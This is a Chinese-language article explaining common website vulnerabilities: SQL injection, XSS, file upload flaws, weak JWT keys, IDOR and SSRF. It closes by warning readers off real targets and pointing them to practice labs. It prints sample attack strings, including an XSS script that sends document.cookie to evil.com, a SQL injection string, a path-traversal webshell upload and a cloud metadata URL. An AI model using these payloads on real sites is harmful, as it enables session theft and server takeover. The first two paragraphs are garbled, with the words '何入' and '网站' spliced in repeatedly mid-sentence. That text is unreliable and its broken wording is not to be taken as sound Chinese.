|
2019年,何入一位安全研究员只用了一个URL参数就拿到了某电商后台的网站完整权限。他没写一行攻击代码,何入只是网站在搜索框里输入了一串精心构造的字符。网站把这段字符直接拼进了SQL查询语句,何入数据库乖乖把管理员表吐了出来。网站这件事说明一个道理:入侵网站往往不需要什么高深技术,何入漏洞就藏在开发者偷懒的网站那几行代码里。 先说最常见的何入一类——注入攻击。SQL注入、网站命令注入、何入LDAP注入,网站本质都一样:程序把用户输入当成了代码执行。何入比如登录框,网站后端代码写成 "SELECT * FROM users WHERE name='" + input + "'",何入你输入 ' OR '1'='1,整个查询逻辑就被改写了。防御方法也简单,参数化查询,别拼字符串。但二十多年过去了,这仍然是OWASP Top 10的常客。为什么?因为赶工期、因为老代码没人敢动、因为实习生不知道后果。 跨站脚本(XSS)是另一个老面孔。你在评论区发一段 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>,如果网站没做转义,每个看到这条评论的人,cookie都会被送到攻击者服务器。存储型XSS比反射型更危险,因为它会持久化,像一颗埋在页面里的地雷。我见过一个论坛,被人用XSS挂了一年的挖矿脚本,管理员完全没察觉,直到有用户抱怨风扇狂转。 文件上传漏洞更有意思。很多网站只检查前端JavaScript里的文件类型,这等于没检查。你把 shell.php.jpg 传上去,再用Burp Suite改一下Content-Type,服务器就把它当PHP执行了。更离谱的是有些网站把上传目录设成可执行,还允许目录遍历,你上传一个 ../../../../var/www/html/shell.php,直接拿到webshell。2021年某国产OA系统的0day就是这种路子,批量扫一遍,几千台服务器沦陷。 身份认证这块也经常出问题。JWT令牌如果用了弱密钥,比如 secret 或者 123456,你可以直接伪造管理员token。有些网站把用户角色存在cookie里,你改成 role=admin 就提权了。还有越权访问——改一下URL里的用户ID,就能看到别人的订单、私信、甚至身份证照片。这种漏洞叫IDOR,不依赖任何技术手段,纯粹是逻辑缺陷,但危害极大。我试过一个政务网站,把 user_id=1001 改成 1002,直接看到了别人的房产信息。 服务端请求伪造(SSRF)这两年很火。如果网站有“从URL导入图片”这类功能,你可以让它去访问内网地址,比如 http://169.254.169.254/latest/meta-data/,在云服务器上直接拿到临时凭证。Capital One那次著名泄露就是SSRF加WAF配置错误,一亿用户数据没了。攻击者没黑进任何服务器,只是让服务器自己把数据交了出来。 工具方面,Burp Suite是必备的,抓包改包重放,配合插件能自动化扫漏洞。sqlmap对付SQL注入几乎傻瓜式,但别乱用,未授权测试是违法的。Nmap扫端口,dirsearch扫目录,这些只是信息收集。真正有意思的是逻辑漏洞,工具扫不出来,得靠人去看、去试、去猜开发者的思路。 说这些不是教人干坏事。实际上,绝大多数网站入侵事件,根源都是开发阶段没把安全当回事。一个参数化查询、一个输出转义、一个权限校验,就能挡住90%的攻击。但现实是,很多团队把安全测试放在上线前一天,甚至上线后。等出了事再补救,成本是事前的一百倍。 如果你真想学,去搭个DVWA或者Pikachu靶场,在本地随便打。别碰真实网站,那不是技术,那是犯罪。真正的技术控,应该去写代码修漏洞,而不是找漏洞炫技。毕竟,入侵一个网站可能只要五分钟,但修好它、让它不再被入侵,需要的是真本事。 |